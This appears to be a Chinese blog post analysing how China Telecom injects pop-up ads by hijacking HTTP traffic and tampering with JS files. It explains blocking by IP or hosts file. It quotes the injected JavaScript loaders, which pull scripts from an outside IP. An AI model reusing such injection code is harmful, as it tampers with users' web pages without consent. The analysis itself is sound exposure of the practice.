当前位置:网站首页 > 图文广告 > 正文

中国电信劫持http流量强插广告

作者:admin发布时间:2021-07-14分类:图文广告浏览:评论:1


导读:所以这段代码是ISP强行插入的网络直投广告。由于用户访问所有网络都要经过就有机会给任意网站加广告把整个网络作为工具为自己牟利。搜索发现不光是电信联通也有类似行径。某年315还曝光过...

中国电信劫持http流量强插广告

所以这段代码是ISP强行插入的网络直投广告。由于用户访问所有网络都要经过就有机会给任意网站加广告把整个网络作为工具为自己牟利。搜索发现不光是电信联通也有类似行径。某年315还曝光过之后各地ISP有所收敛但现在我家浙江电信还是每天都会弹。

如何加的广告

用浏览器访问刚才的广告嵌入代码内容经过格式化后如下

((){(h,f){try{(;(d,f)}(g){document.write(h)}};varcfunction(d,f){if(f){f.appendChild(d);f.parentNode.appendChild(d)}else{vargf||document.all||document.getElementsByTagName(*varfg[g.length-1]}f.parentNode.appendChild(d)};varbdocument.createElement(scriptb.typetext/javascriptb.srchttp://116.252.178.237:9991/main.js?verv48c(b)})();

这段引导代码在DOM上添加另一个script节点内容为http://116.252.178.237:9991/main.js。main.js是弹出广告真正的创建者。

那么ad.0.js是何时插入的呢在不同的网站上ad.0.js节点出现的位置不固定不一定总在/body之前。继续用Chrome的Network工具查看每个请求的返回数据发现网页HTML是正常的并不包含ad.0.js节点。推测是某个JS被篡改了执行的时候在DOM上又插入了广告引导代码节点。

逐个检查.js文件的请求寻找包含“116.252.178.232”的文件。以某网站为例发现flowplayer.min.js文件的内容不正常。该文件是网页上的视频播放器托管在七牛CDN上。文件的URL是http://***.qiniudn.com/static/player/flowplayer.min.jsChrome里显示返回的内容是这样的

(function(){ohttp://***.qiniudn.com/static/player/flowplayer.min.js?shhttp://116.252.178.232:9991/ad.0.js?v3.9411sp9999tydpcsda_manXFpdU1RJWFdZXlEwwindow;ddocument;functionins(s,dm,id){ed.createElement(scripte.srcs;e.typetext/javascriptid?e.idid:null;dm.appendChild(e);};pd.scripts[d.scripts.length-1].parentNode;ins(o,p);dsfunction(){dbd.body;if(db!document.getElementById(bdstat)){if((w.innerWidth||d.documentElement.clientWidth||db.clientWidth)1){if(w.topw.self){ins(sh,db,bdstat}}}else{setTimeout(ds(),1500);}};ds();})();

可以看到该文件的返回数据完全是被替换过的。这段代码首先在DOM上插入了另外一个script节点用于重新加载真正的flowplayer.min.js文件。然后创建了广告引导代码节点。在Chrome中看到flowplayer.min.js文件有两次请求第二次返回的是正确的内容。

新插入的script位置在document最后一个script的父节点由于改变了JS文件的执行顺序所以理论上有可能影响被篡改的网页的正常功能。

关于这套广告系统具体如何选择篡改哪个JS请求我没有进一步的调查。

其他劫持类型

我这里分析的只是浙江电信在目前阶段采用的插广告方法。网上能看到ISP采用的一些旧方法包括DNS劫持、iframe劫持。

DNS劫持是例如用户访问Google时跳转到一个全是广告的页面。还有当访问一个无法解析的网址时跳转到电信的网址导航站189so.cn导航站当然是很赚钱的。

iframe劫持也是劫持HTTP流量将被访问的网页整个包在一个iframe中加载外面的伪造的页面插弹出广告。用户看到的效果跟本文开头的截图类似。

屏蔽方法

用户

作为普通用户一般的建议是打电话给ISP投诉把客服骂一顿让ISP取消对你家账号的“特殊服务”。我没试过也不想试我得留着广告好看看ISP又采取了什么卑劣手段。

作为普通用户还可以找个认识的程序员来帮助解决此事。

作为程序员屏蔽这种广告不是难事。首先用浏览器开发者工具在找出广告引导代码的URL如果是IP地址就用路由器或防火墙软件封住该IP的访问如果是域名就修改hosts把该域名解析到127.0.0.1即可。

注意这样仅靠屏蔽IP/域名并不是真正的屏蔽仍然有副作用。比如说网页会由于加载不到广告JS而一直处于转菊花状态经过篡改的网页有可能功能不正常。前人给出了一些复杂的方法屏蔽广告基本上都要自己搭代理服务器。我觉得太过复杂不值得。在此列出几个参考方法

标签:电信http劫持广告 手机


已有1位网友发表了看法:

欢迎 发表评论: